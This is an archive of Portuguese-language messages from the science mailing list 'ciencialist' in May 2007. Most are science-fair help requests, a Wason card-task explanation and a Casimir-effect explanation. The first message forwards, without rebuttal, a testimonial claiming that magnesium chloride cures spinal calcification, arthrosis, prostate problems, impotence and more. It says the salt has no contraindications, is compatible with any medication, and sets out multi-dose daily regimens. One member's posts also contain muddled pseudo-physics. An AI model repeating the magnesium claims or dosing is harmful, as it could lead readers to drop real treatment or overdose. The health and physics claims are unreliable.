José Renato <jrma@terra.com.br> escreveu:
Olá! Alguém já teve experiência de recuperação e cura de alguma doença ou sintoma usando cloreto de magnésio? Lembro que o Deputado Ulisses Guimarães usava-o diariamente e se dizia fã de algum remédio com magnésio.

Abraços

José Renato

.......................................



Cloreto de Magnésio



J. Shorr *

Quem sofre de bico de papagaio, nervo ciático, coluna e calcificação podem
se curar de forma perfeita, indolor, fácil e barata. E tem, ao mesmo
tempo, a cura de todas as doenças causadas pela carência de cloreto de
magnésio no passado, até a artrose.
Iniciei minha cura aos 61 anos. Dez anos antes, eu estava quase
paralítico, sentia pontadas agudas na região lombar - um bico de papagaio
incurável, segundo o médico. Mas reparei ser reumatismo, que curei com
Ketacil, esquecendo-me, então, do bico de papagaio que antes já provocava
um peso crescente na barriga da perna direita. Após cinco anos, o peso
virou dor e, apesar de todos os tratamentos, só aumentava. Dois anos
depois atinei com a causa: mal me levantava da cama um formigamento descia
pela perna até os pés. Ao abaixar-me, o formigamento cessava; erguia-me
ele voltava. Repeti as duas posições. Deduzi que só poderia ser aquele
bico de papagaio, que apertava o nervo ciático na terceira vértebra,
quando em pé; curvando-me, lhe dava folga. Fiz então meus trabalhos, o
mais possível sentado. Havia anos que fazia tudo sentado, menos a missa, o
que era um tormento. E adiava a viagem à ilha de Marajó, onde devia
completar a rede de rádio-telefonia de 48 estações em 6
Estados. Após seis meses, viajei, esperando melhorar naquele eterno
verão.
Mas piorou de vez. Rezava a missa sentado e sentado orientava meus
ajudantes a montar os mastros e esticar as antenas por cima dos telhados.
Sem tardar, voltei a Florianópolis com novas radiografias e procurei um
especialista. Agora já era um bando de bicos de papagaios, calcificados,
duros em grau avançado. Nada se poderia fazer. As dez aplicações de ondas
curtas e distensões da coluna não detiveram a dor, a ponto de nem mais
deitado eu poder dormir. Ficava sentado, até quase cair da cadeira, de
tanto sono. Foi quando atinei que podia dormir enrolado ou sentado para
fugir da dor. E então? Assim, desenganado, apelei ao bom Deus. "Estás
vendo a tua criatura"?
Não lhe custava dar um jeitinho...
Providencialmente, fui ao Encontro dos Jesuítas Cientistas, em Porto
Alegre, e o Padre Suarez me disse ser fácil à cura com cloreto de
magnésio, mostrando-me o pequeno livro do Padre Puig, jesuíta espanhol que
descobriu o uso do cloreto de magnésio: sua mão era dura de tão
calcificada, mas, com este sal, ficou móvel como a de uma menina; o mesmo
aconteceu com parentes seu. E brincando, ele disse: "Com este sal só se
morre dando um tiro na cabeça ou por acidente". Em Florianópolis, logo
comecei a tomar uma dose pela manhã e uma à noite; mesmo assim continuei
dormindo encolhido até o 20º dia; naquela manhã, porém, acordei estirado
na casa, sem dor. Mas caminhar ainda era um sofrimento. Depois de 30 dias,
eu me levantei sentindo-me estranho: "Será que estou sonhando? Nada mais
me doía! Dei até uma voltinha pela cidade, sentindo, contudo, o peso de 10
anos antes. Aos 40 dias caminhei o dia inteiro sentindo menos peso; três
meses depois minha flexibilidade aumentava. Dez meses
já se passaram e me dobro quase como uma cobra".
Outros efeitos: O cloreto de magnésio arranca o cálcio dos lugares
indevidos e o fixa solidamente nos ossos. Ainda mais: minha pulsação que
sempre estava abaixo de 40 - eu já pensava em marca passo - normalizou-se.
O sistema nervoso ficou motorialmente calmo, ganhei maior lucidez, meu
sangue estava descalcificado e fluido. As freqüentes pontadas do fígado
desapareceram. A próstata, que eu deveria operar assim que tivesse uma
folga nos trabalhos, já não me incomoda muito. Houve ainda outros efeitos,
a ponto de várias pessoas me perguntarem: "O que está acontecendo com
você?" Está mais jovem!
"É isso mesmo". Voltou-me a alegria de viver. Por isso, me vejo na
obrigação de repartir o "jeitinho" que o bom Deus me deu. Centenas se
curaram em Santa Catarina depois de anos de sofrimento com males da
coluna, artrose etc.
Importância do cloreto de magnésio: O cloreto de magnésio produz o
equilíbrio mineral, anima os órgãos em suas funções (catalisadoras), como
os rins, para eliminar o ácido úrico nas artroses; descalcifica até as
finas membranas nas articulações e as escleroses calcificadas, evitando
enfartes; purificando o sangue vitaliza o cérebro, desenvolve ou conserva
a juventude até alta idade. O cloreto de magnésio é, de todos os sais, o
menos dispensável, como o professor na aula.
Uso: após os 40 anos, o organismo absorve sempre menos cloreto de
magnésio, produzindo velhice e doenças. Por isso deve ser tomado conforme
a idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
anos aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose pela
manhã e 1 dose à noite.
Atenção: Para quem vive na cidade e ingere alimentos de baixa qualidade
(refinados e enlatados) recomenda-se uma dose um pouco maior, e para
pessoas do campo um pouco menos. O cloreto de magnésio não cria hábito,
mas ao deixá-lo perde-se a proteção. Com o uso do cloreto de magnésio há
tendência à eliminação das doenças e uma diminuição significativa do
desgaste natural.
Só não se deixe levar pelo comodismo, até que uma doença se instale;
porque viver com dores e mal estar se é possível gozar de uma saúde
radiante?
O cloreto de magnésio não é remédio, mas alimento. E não tem
contra-indicação. É compatível com qualquer medicamento simultâneo. O
adulto precisaria obter dos alimentos o equivalente a três doses; se não
conseguir, pode aumentar um pouco a dose diária para não adoecer;
dificilmente se ultrapassa o limite, pois as doses indicadas para pessoas
de 40 a 100 anos são mínimas.
O cloreto de magnésio põe em ordem todo o corpo e é indicado para homens e
mulheres. No caso das mulheres ele ajuda a prevenir osteoporose.
Recomendações: Quem sofre de bico de papagaio, obesidade, nervo
ciático, coluna, arteriosclerose, rins, calcificação, surdez por
calcificação, deve iniciar o tratamento com uma dose pela manhã, uma dose
à tarde, uma dose à noite.
Quando curado, deve-se tomar o cloreto de magnésio como preventivo, isto
é, conforme a idade.
Artrose: o ácido úrico se deposita nas articulações do corpo, em
particular nos dedos, que até incham. Isso resulta de uma falha no
funcionamento dos rins, justamente por falta do cloreto de magnésio. Tenha
cautela: se um rim talvez já esteja se deteriorando, tome apenas uma dose
pela manhã. Se em 20 dias não sentir melhoras e não cessar a anormalidade,
tome uma dose pela manhã e uma dose à noite. Depois de curado, continue
com as doses normais, como preventivo.
Próstata: aqui vou citar um exemplo. Um homem muito idoso já não
conseguia urinar. Algum tempo antes da operação, lhe deram cloreto de
magnésio como preparação, e ele começou a melhorar. Depois de uma semana
sentia-se bem, e a operação foi cancelada. Há casos em que a próstata
regride, às vezes, ao normal, tomando-se 2 doses pela manhã, duas doses à
tarde, duas doses à noite. Ao melhorar, tome a dose preventiva.
Outros problemas: como reumatismo, rigidez muscular, impotência sexual,
câimbras, tremores, frigidez, artérias duras, falta de atividade cerebral,
sistema nervoso: uma dose pela manhã, uma dose à tarde, uma dose à noite.
Sentindo-se melhor, passar para a dose preventiva.
Preparo: como preparar e usar a solução de cloreto de magnésio:
dissolver 33 gramas de cloreto de magnésio (essa dosagem já está à venda,
em farmácias - em 2004 custava 1,20) em 1 litro de água filtrada (melhor
fervida). Depois de bem misturado, colocar em vasilhames de vidro (não de
plástico) e guardar na geladeira. A dose é um cálice de licor segundo a
idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
anos, aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
pela manhã e 1 dose à noite.
Onde encontrar: em farmácias de produtos naturais ou mesmo nas
alopáticas.


* J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
Catarinense / Sta. Catarina.


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SUBJECT: Re: [ciencialist] Re: Quem tem isso?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 11:59

BLZ pessoal,

recebi o pdf do Alberto ... e já estou lendo. Vi também o exercício referente ao texto do Clark. Excelentes!

agradeço a ambos,

Nota: usarei uma variante desse exercício no Imperdível.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 26 de maio de 2007 00:07
Assunto: Re: [ciencialist] Re: Quem tem isso?


----- Original Message -----
From: "oraculo333" Sent: Friday, May 25, 2007 11:28 PM
Subject: [ciencialist] Re: Quem tem isso?

> Olá Leo
> Sabe em que livro ou coletânea foi publicado este conto?

Tales of Ten Worlds. Em espanhol: Relatos de diez mundos.

> Se souber, fica mais fácil encontrar uma versão on line para você.
> Se estiver interessado apenas no problema proposto no conto, eu
> encontrei uma versão em inglês...

Já mandei o arquivo em pdf (espanhol) para o Léo. Espero que ele tenha
recebido. Uma das maneiras de se conseguir este (e outros) textos (em
espanhol) do mesmo autor é associando-se à lista lg-an:
http://espanol.groups.yahoo.com/group/lg-an/ . Após associar-se, vá
para a seção "Archivos".

Para livros em espanhol arquivados em outros grupos vide
http://www.portallibro.com.ar/articles.php?lng=es&pg=314 . Para o caso
em apreço [Clarke, Arthur C], estando nesta página clique em "Best
Sellers - C(por autor)Yahoo" e copie o link do grupo onde está o
arquivo desejado.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



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SUBJECT: O Xadrez do Takata
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 12:43

Olá Takata!

--- Se sua diversão é jogar xadrez, então, vamos
continuar jogando. Não iremos chegar a lugar nenhum,
mas também, qualquer lugar é um lugar qualquer, não é
mesmo? Vc insiste na pergunta, suponho que vc tenha fé
que irei responde-la? Da onde vem esta esperança toda?
Que fé é esta, Takata?

--- Ah! E não é justo vc censurar minha jogada só
porque é o dono do tabuleiro. Se quiser continuar
jogando, porque não joga de igual pra igual, de ser
humano pra ser humano? Pois de moderador todo poderoso
para "extremamente moderado" é meio desigual, não
acha?

Takata >>> Vc não tem nenhuma peça.

--- Vc é que não consegue separar as peças do carro.
Nem a matéria. Mas com tanta fé assim que consegue,
quem sabe acontece este milagre!

Takata >>> E tb pouco respeito por minha parte eqto
não responder à questão de aplicação da fórmula E =
m.c2

--- Takata, isto ai é com voce! Estou apenas sendo
honesto com o que vejo, ou voce quer que eu finja ver
o que não vejo, só pra entrar no seu clube e receber
falsos tapinhas nas costas. Se vc quiser me ver como o
coco do cavalo da fisica, o que posso fazer? É vc que
separa as coisas: os fisicos dos não-fisicos, os bons
dos maus, os que vc respeita dos que vc não-respeita,
o carro das partes, o espaço vazio do espaço cheio. É
vc quem separa. Mas se vc não vê o que faz, como posso
ver pra vc. Não posso. Como sempre lhe digo: meu
limite é apontar.


sinceramente
ferrari


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SUBJECT: Fw: Preciso de uma experiencia de Fisica!!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 13:26

vários helps!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Roseli Paternolli
Para: leobarretos@uol.com.br
Enviada em: sexta-feira, 25 de maio de 2007 15:22
Assunto: Preciso de uma experiencia de Fisica!!


Oi
Peguei seu email no site de experiencia...
Preciso de uma experiencia de fisica para ganhar um concurso.
Você tem alguma legal?
Eu faço faculdade de Matematica em Guaira Pr.
Meu prof. pediu uma experiencia a melhor vai ganhar um premio.
Nãoé exatamente um concurso, mas eu quero muito ganhar, Por que tenho 41 anos e sou muito discriminada pelo pessoal da minha sala.
Me ajude por favor.
Se vc tiver umafoto da experiencia manda pra mim.
Bjs


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Feira de Ciências
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 13:30

vão juntando os helps ... o somatório deve dar um HELP!
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Jose de Anchieta Almeida da Silva Anchieta" <anchietaalmeida@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: sexta-feira, 25 de maio de 2007 15:59
Assunto: Feira de Ciências


| Olá profesor, tudo bem, sou professor de Ciências de uma escola de e Ensino
| Fundamental e estamos preparando uma feira de ciências, gostaria da sua
| ajuda na sugestão de alguns experimentos simples, pois não temos estruturas
| de laboratorios, que pudessem ser realizados por alunos de 8ª série.
| Alguns alunos tem grande interesse pela a área de energia na Física e
| tambêm pela parte das substâncias químicas.
| Sabendo que contaremos com sua coloboração agradecemos desde já e
| esperamos sua resposta.
|
| Prof. José de Anchieta Almeida da Silva
| Escola Municipal de Ensino Fundamental Marcos Donadon
| Vilhena - Rondonia.
|
| _________________________________________________________________
| Chegou o Windows Live Spaces com rede social. Confira
| http://spaces.live.com/
|
|
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|


SUBJECT: Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 13:37

Olá Alvaro!

Alvaro >>> Provavelmente você não sabe, mas a física
responde muitas dessas perguntas que você citou.

--- Sim, Alvaro, não digo que não respondem. O que
digo é que as respostas não satisfazem as minhas
perguntas e investigações. É uma questão de irmos nos
aprofundando na investigação da visão de mundo que a
fisica tem e chegamos no limite desta visão. Por
exemplo, certa vez, não sei se vc estava aqui, ou se
acompanhou, mas me pus a investigar a visão de mundo
da fisica conversando também sobre e=mc2 com o Sergio
Taborta. Acho que era este o nome dele. No começo, eu
me pus mesmo a entender mesmo esta visão. Ele foi me
explicando conceito por conceito. Eu ia disendo o que
eu tinha entendido da sua explicação, ele confirmava,
se tinha entendido certo. Se estava errado ele me
esclarecia etc... Ia tudo as mil maravilhas... E,
acredite se quiser, o Prof. Luiz Ferraz ficou todo
cheio de si. Me elogiou. Elogiou a Thread. Ele disse
algo assim sobre a Thread: "Eis aqui porque a c-list é
a melhor lista da internet".

--- Mas, então, teve uma hora que minha investigação
sobre a visão de mundo que a fisica tem, chegou num
limite. Chegamos na questão da medição, da observação
e do tempo. Fiz uma pergunta muito simples e foi ai
que tudo começou. Foi a partir dai que passei de
aluno-aplicado para irrecuperavel, como diz o JC. A
pergunta era a seguinte:

--- O que é medir (observar)?
--- O observar requer tempo? Porque?

--- A única resposta que o Taborda tinha pra esta
pergunta era: não interessa. Não importa.

--- Ora, não interessa pra ele. Respeito. Mas
interessa para mim. Se a coisa começa pela observação,
como não interessa. Me interessa sim. Se não interessa
pros outros, se não interessa pra fisica, respeito.
Mas não posso fingir contentamento com a resposta
quando estou descontente. Que sentido teria um fingir
isto?

--- Então, é neste sentido que estou dizendo que as
respostas da fisica não me satisfazem. É no sentido da
base da ciencia, do abc mesmo. Não é no que está lá em
cima, na equação derivada que o Takata quer que eu
resolva pra ele, é no que está na base mesmo. No mais
básico da coisa. É esta base que não me satisfaz.
Enfim, é justamente o que não importa pra fisica que
me importa. Entende?

Alvaro >>> Ocorre que, para entender as respostas, é
necessário conhecer matemática a fundo.

--- Aqui, na matemática, também o que me interressa
não são as equações conplexas, o que me interessa é a
base também. Por exemplo: o que é um? O que é zero?
Este é meu interesse na matemática. De que adianta
resolver equações conplexas e não saber o que é um,
nem o que é zero? Qualquer calculadora de camelô pode
responder as equações, mas nem o computador mais
avançado é capaz de saber o que é zero e o que é um.
Nós temos. E é importante saber isto. Mas quem se
importa em saber? Eu me importo. E vc?

Alvaro >>> Não adianta ler os livros de divulgação do
Hawking e achar que tudo que existe para saber é o que
está escrito lá. Não é assim.

--- Creio que vou levar muita pedrada dos fisicos que
lerem isto, mas tenho que ser honesto com o que penso,
o Hawking é um cara bem intecionado, mas é um
equivocado sincero. É simples ver o equivoco de
premissa dele. O exemplo do Takata não conseguir
dividir o carro sem separar as partes mostra isto. A
entropia existe, mas não é uma serapação entre as
partes (particulas). A matéria é indivizivel.

Alvaro >>> Antes de dizer que a física não tem
respostas, é necessário conhecer pelo menos
relatividade geral e teoria dos campos quânticos.

--- Discordo. Como disse, isto ai é a cobertura do
edificio, o que não me fatisfaz é o alicerse. E se o
alicerse estiver equivocado, porque preciso subir até
a cobertura para perceber isto?

Alvaro >>> Caso contrário, não dá nem para começar a
conversar.

--- Alvaro, o que incomoda os fisicos é o seguinte, é
que ninguém precisa ser formado em fisica pra ver o
alicerce da fisica, basta ser humano e usar o
raciocinio. E se a pessoa for honesta, e investigar
até o limite, logo verá que a fisica para no vazio, ou
seja, no espaço.

--- A fisica é uma espécie de geometria. Ela desenha
objetos tridimencionais num papel, mas não reconhece
que é o papel é que contém as dimensões e não
vice-versa. Ou seja, ele desenha o espaço cheio no
vazio, mas não se interessa pelo vazio. Ora, o vazio é
que é o possibilitador do cheio. Assim como o papel é
que é o possibilitador do desenho. É por isto que a
fisica não entende o que é 4D (espaçotempo). Ela está
amarrada no 3D, no espaço cheio e espaço vazio. 4D é
matéria invisivel só isto. Espaçotempo,
matériaenregia. Nenhum mistério.

--- Mas enquanto o Takata, e os fisicos, continuarem
acreditando que podem dividir o carro do Takata, e=mc2
vai continuar sendo apenas uma equação que o TYakata
quer o ferrari resolva para provar pra ele que todoso
os fisicos do clube dele que o ferrari é um doido de
pedra, o coco do cavalo da fisica.

--- E quem sou eu pra contestar o destino?
--- Amém.


sinceramente
ferrari



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SUBJECT: Teste seu ceticismo: Resposta
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 26/05/2007 13:45

Teste seu ceticismo <http://100nexos.com/arquivo/155>


Há quatro cartas acima, e cada uma delas possui uma letra em um lado e um
número no outro lado. Temos então a alegação nada extraordinária de que *"se
uma carta tem uma vogal de um lado, então tem um número par do outro lado"*.
A questão é: *quais cartas você precisa virar para descobrir se a alegação é
verdadeira ou falsa?**
*

*Reposta*
*É preciso virar as cartas "A" e "7″ para descobrir se a alegação é
verdadeira ou falsa.* Quase todas as pessoas acertam que é preciso virar a
primeira carta "A" para *confirmar a alegação* de que *"se uma carta tem uma
vogal de um lado, então tem um número par do outro lado"*. Muitas cometem
então o erro de tentar confirmar que uma carta com um número par, como "4″,
deva ter uma vogal em seu verso, mas a alegação sendo testada não atestava
tal. Ela tampouco alegava que cartas com consoantes deveriam ter números
ímpares do outro lado, assim a carta "D" é igualmente irrelevante para
testar a alegação. A outra carta que deve ser virada para *falsificar a
alegação* é "7″, que não pode revelar uma vogal no verso.
Este é o problema de seleção de
Wason<http://www.google.com/search?num=50&hl=en&safe=off&rls=GGGL%2CGGGL%3A2006-20%2CGGGL%3Aen&q=wason+card&btnG=Search>,
apresentado pelos psicólogos Peter Wason e Philip N. Johnson-Laird em um
livro em 1972, onde apenas 5% de 128 estudantes testados forneceram a
resposta correta. Nada menos que 59 estudantes responderam "A e 4″, enquanto
42 responderam apenas "A". Como os psicólogos notaram, isso sugere que *a
enorme maioria tentou apenas confirmar a alegação sendo testada,
esquecendo-se de também tentar prová-la falsa*. É uma falácia muito comum,
Popper que o diga, e é especialmente relevante a pensadores críticos. Mas
como a aplicação do teste em uma *Amazing Meeting
*demonstrou<http://skepdic.com/refuge/ctlessons/lesson3.html>,
mesmo céticos não se saem muito melhor. Que muitos céticos digam que seria
bom virar todas as cartas talvez não deva surpreender :-)
Curiosamente, a taxa de acertos melhora consideravelmente, para céticos de
carteirinha ou não, se exatamente o mesmo problema lógico é dado em uma
variante ligada a relações sociais. Por exemplo, suponha que o dono de um
bar *alegue que das quatro pessoas servindo-se de bebidas em seu
estabelecimento, as que tomam cerveja são todas maiores de idade*. Você vê
uma pessoa bebendo cerveja e outra bebendo água em um canto, e de outro
canto um senhor de idade bebendo algo e finalmente uma criança bebendo um
líquido que pode ser tanto guaraná quanto cerveja. A maior parte das pessoas
acertará quais pessoas devem ter sua idade ou bebida checadas para testar a
alegação do dono do bar.
Psicólogos evolucionários sugeriram que esta facilidade se deva a adaptações
evolutivas que nos permitem resolver com maior desenvoltura problemas
lógicos ligados a relações de contratos sociais, especialmente em situações
onde o sujeito testado deva aplicar uma regra e apanhar infratores. Isto
porque variantes aplicadas igualmente ao "mundo concreto", mas lidando com
relações físicas como pratos de comida e dores de estômago ou viagens e
meios de transporte, ainda que levem a certa melhora no desempenho dos
sujeitos testados, não chegam próximas da taxa com aplicações a relações de
contratos sociais: 75% de acerto. Veja mais, em inglês, PDF, em "Cognitive
Adaptations for Social
Exchange<http://www.psych.ucsb.edu/research/cep/papers/Cogadapt.pdf>
".
A taxa de acerto entre listeiros e visitantes do 100nexos foi bem maior do
que cinco, ou mesmo 15%, o que é excelente. Se você errou, console-se com o
fato de que realmente ninguém sabe ao certo o que faz com que tantos errem,
tampouco exatamente porque variantes como a acima alteram tanto a taxa de
acertos — há trabalhos contestando a ambiciosa hipótese de adaptação
evolutiva, defendendo que o problema aqui estaria simplesmente em detalhes
sutis da apresentação da alegação. Conhecer a resposta desta pequena
brincadeira de "testar seu ceticismo" leva a questões muito mais
interessantes, que ainda não têm resposta clara.

*Veja também:*
CeticismoAberto.com atualizado 03/04/2007
<http://100nexos.com/arquivo/117>UFOLOGIA
Martin Kottmeyer"Gauche Encounters": ...
Gizmo — Imperdível <http://100nexos.com/arquivo/139> "Gizmo" é uma
compilação fa...
Doutor Strangelove: financiado pela
ExxonMobil<http://100nexos.com/arquivo/105>O
blog Rabiscos Econômicos revela "Como eu p...
A menina pastora - versão Hitler <http://100nexos.com/arquivo/102> A imagem
no vídeo você já con...
Comprar óculos on-line: nada ruim, muito
barato<http://100nexos.com/arquivo/145>Há tempos o BoingBoing indicou
o blog Glas...


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SUBJECT: Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 13:47

Olá Ze!

Zé >>> Ué, a Física diz que o espaço é vazio, Ferrari?
Será que estudei a física errada, mudaram a física ou
mudaram o espaço?

--- Ué, pode ser sim. Vamos investigar. Me diga, na
sua fisica, o espaço é feito de que?



sinceramente
ferrari

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SUBJECT: Fw: Nitrog�nio e Fosforo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 13:48

Quem me fornece links para esse consulente?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Osvaldo Fernandes
Para: leobarretos@uol.com.br
Enviada em: sábado, 26 de maio de 2007 06:03
Assunto: Nitrogénio e Fosforo


Bom dia caro Professor.

É pela primeira vez que lhe escrevo e gostária muito que o senhor me pudesse ajudar. É que na minha escola pediram-me para desenvolver uma materia que fale dos elementos que constam do assunto deste E-Mail e mais o seguinte:

Seus Compostos fundamentais, Oxidos, Acidos e Sais.
Como se Obtem o fosforo
Propriedades quimicas do fosforo
compostos que fazem parte do fosforo
Importância do fosforo

Será que me pode ajudar a desenvolver esta matéria.
Agradecia imenso
Atenciosamente
Osvaldo.
Osvaldo19_2005@yahoo.com.br

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] III Circo da Ciência UFSCar
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <rickrsv@yahoo.com.br>
DATE: 26/05/2007 13:51

Ainda não obtive resposta desse e-mail. Como é Ricardo, 29 e 30 estão ai!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 24 de maio de 2007 07:53
Assunto: Re: [ciencialist] III Circo da Ciência UFSCar


Olá Ricardo,

se isso é um convite para eu comparecer ao evento nesses dias (ou mesmo antes), tá aceito!
Marque o local de encontro em São Carlos e deixe um carro à disposição para os translados, pois prefiro ir de ônibus (não tem avião aqui em Barretos City). Ache tb um hotel para a estadia.

Que tal?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 23:53
Assunto: [ciencialist] III Circo da Ciência UFSCar


Olá,

Nesta terça e quarta feira (29 e 30 de Maio) será realizado no campus
da UFSCar São-Carlos o 3º Circo da Ciência, em conjunto com o evento
"Universidade Aberta" - que apresenta os cursos aos alunos do ensino
médio...

O Circo da Ciência consiste em uma tenda que apresenta experiências
interessantes sobre física, química, biologia e matemática, como forma
de estimular o interesse dos nossos alunos à essas áreas de ciência
básica...

Bom, está feito o convite, quem quiser aparecer por aqui será muito
bem vindo... Quem sabe não me encontram por lá (estarei ajudando nas
demonstrações das experiências)...

p.s. pretendo no ano q vem ajudar na organização do evento, quem sabe
até lá o Professor Leo - o Mestre dos magos neste ramo (vide
http://www.feiradeciencias.com.br)- não possa nos dar algumas dicas ou
mesmo colaborar com novos experimentos... Seria formidável.

Abraços amigos, até mais.

Ricardo S. Vieira.





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SUBJECT: Re: [ciencialist] Efeito Casimir
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 13:52

Cadê meus desenhistas? Será que preciso invocar Michelangelo, Renoir, Gaugin ... ?

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 19:19
Assunto: [ciencialist] Efeito Casimir


Faz mais de um ano que o Elton de Carvalho colaborou com uma resposta a um consulente do Imperdível sobre o 'Efeito Casimir'.
Eu guardei essa resposta (além de enviá-la ao guri da 8a série que a solicitou) por ter apreciado a didática e as palavras adequadas à faixa etária.
Apreciaria acrescentar esse Efeito à página dos " N Efeitos na Física" já existente no Imperdível em

http://www.feiradeciencias.com.br/sala19/texto72.asp

Assim, ainda como sugestão, apreciaria receber um ou dois 'desenhos' ilustrativos do efeito (de preferência baseados no texto do Elton). Como sempre, mas sem postar explicitamente, agradeço aos amigos.
[]'
Léo
++++++++++++++++
Do Elton:

"Primeiramente, falemos sobre o efeito Casimir. Esse efeito ocorre
quando aproximamos duas placas metálicas, paralelas, no vácuo. Surge
uma força de atração entre elas, que não é explicada nem pelo
eletromagnetismo (ou seja, não é um efeito parecido com o de um ímã)
nem pela mecânica clássica (não é atração gravitacional, por exemplo).
Temos, então, de recorrer à mecânica quântica para explicar esse
fenômeno.

O que conhecemos como vácuo, tanto no dia-a-dia quanto na escola, é a
ausência de matéria em uma certa região do espaço. Mas a mecânica
quântica trata todas as partículas como se fossem ondas de
probabilidade (é uma forma de descrever matematicamente a partícula,
cuja equação nos diz a "chance" que temos de encontrar uma partícula
em um certo lugar do espaço em um certo instante no tempo) e mesmo no
vácuo existem essas ondas, em diferentes freqüências, de zero ate
infinito. A questão é que quando aproximamos duas placas, nós formamos
uma espécie de caixa de ressonância (como a caixa acústica de um
violino) que permite a existência de apenas algumas freqüências (da
mesma forma que uma caixa acústica de violoncelo deve ser maior que a
de um violino -- para comportas as freqüências mais baixas desse
instrumento).

O que acontece é que quando fazemos essa "caixa", as ondas que não
cabem dentro dela deixam de existir naquela região (continuam
existindo fora). Então, as ondas de fora (que ali estão em quantidade
muito maior) pressionam as placas para que elas se aproximem.

Infelizmente não conheço maneiras de aproveitar essa energia. E ela
certamente não vem "do nada" apesar de vir "do vácuo"
++++++++++++++++++++++

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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SUBJECT: Fw: Ola
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 13:57

Helpão!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: augusto flavio
Para: leobarretos@uol.com.br
Enviada em: sábado, 26 de maio de 2007 11:55
Assunto: Ola


Ola!
Sou academico de enfermagem da Unioeste-FOZ
e estou em um projeto de extensão onde os alunos de escolas de nivel fundamental
e medio visitam o laboratorio de Biotecnologia.
Gostaria de saber quais experimentos se enquadrariam no Modulo:
Laboratorio de Bioquimica, ambos para fundamental e medio.
Preciso de aulas praticas simples e que chamem a atencao dos alunos.
Grato´pela atencao.
Augusto Moraes


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Veja só alguns dos novos serviços online no Windows Live Ideas - são tão novos que ainda não foram disponibilizados oficialmente. Experimente!


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SUBJECT: ADITIVOS ALIMENTARES
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 26/05/2007 14:06

___________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 26/05/2007 - No.049

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

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Olá,

Outro dia recebi um e-mail de um leitor super preocupado com a presença de aditivos alimentares no chocolate.

Pesquisando sobre o assunto, descobri que os Aditivos formam um universo à parte entre as infindáveis coisas estranhas que despachamos para o nosso tubo digestivo.

O que descobri, você poderá conferir na crônica de hoje.

Boa leitura!


